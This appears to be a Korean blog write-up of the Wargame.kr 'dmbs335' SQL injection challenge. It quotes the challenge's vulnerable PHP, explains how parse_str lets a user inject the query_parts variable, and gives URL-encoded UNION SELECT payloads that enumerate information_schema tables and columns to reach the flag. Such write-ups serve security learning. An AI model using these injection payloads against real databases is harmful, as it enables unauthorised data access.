-
Wargame.kr dmbs335WebHacking/Wargame.kr 2018. 2. 26. 00:45
dmbs335
700point / dmbs335SQL injection Challenge!
(injection)
- thx to dmbs335parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}자세한 소스 설명은 생략 하도록 하겠습니다.
$_SERVER['QUERY_STRING']은 우리가 GET으로 입력한 문자열들이 저장되는 곳이다.
ex) ?a=AAAA&b=BBBB 라고 입력한다면 QUERY_STRING에는 ?a=AAAA&b=BBBB 값이 저장되어 있다.
parse_str함수는 ?AA=AAAA 라고 입력되어있는 값이 인자로 들어오면 AA=AAAA라고 변수를 만들어주는 함수다.
소스를 분석하면 알겠지만 operator은 switch로 default: 로 인해 값을 넣어도 소용이 없고, keyword는 addslashes로 막히고 등등 여러가지 변수가 있지만 그 중 가장 적합한 변수는 query_parts다.
cols에서 subject content writer 중 한개 라도 없거나 isDU문자열이 들어가 있다면 col = ''로 초기화 시키고 초기화가 되지 않았다면 query_parts에 값을 넣어주지만 그렇지 않다면 값을 넣어주지 않기 때문에 query_parts에 sql injection이 가능하다.
0%20union%20select%20table_name,TABLE_TYPE,TABLE_SCHEMA,ENGINE%20from%20information_schema.tables%20where%20TABLE_TYPE=0x42415345205441424c45%20and%20TABLE_SCHEMA!=0x6d7973716c%20limit%200,10%20union%20select%20컬럼 이름%20from%20table 이름select COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA,COLUMN_DEFAULT from information_schema.columns where table_name=0x~~cs 위 쿼리문을 이용하여서 플래그를 얻을 수 있다.
'WebHacking > Wargame.kr' 카테고리의 다른 글
Wargame.kr ip log table (0) 2018.02.26 Wargame.kr lonely guys (0) 2018.02.26 Wargame.kr web chatting (0) 2018.02.26 Wargame.kr SimpleBoard (0) 2018.02.26 Wargame.kr tmitter (0) 2018.02.25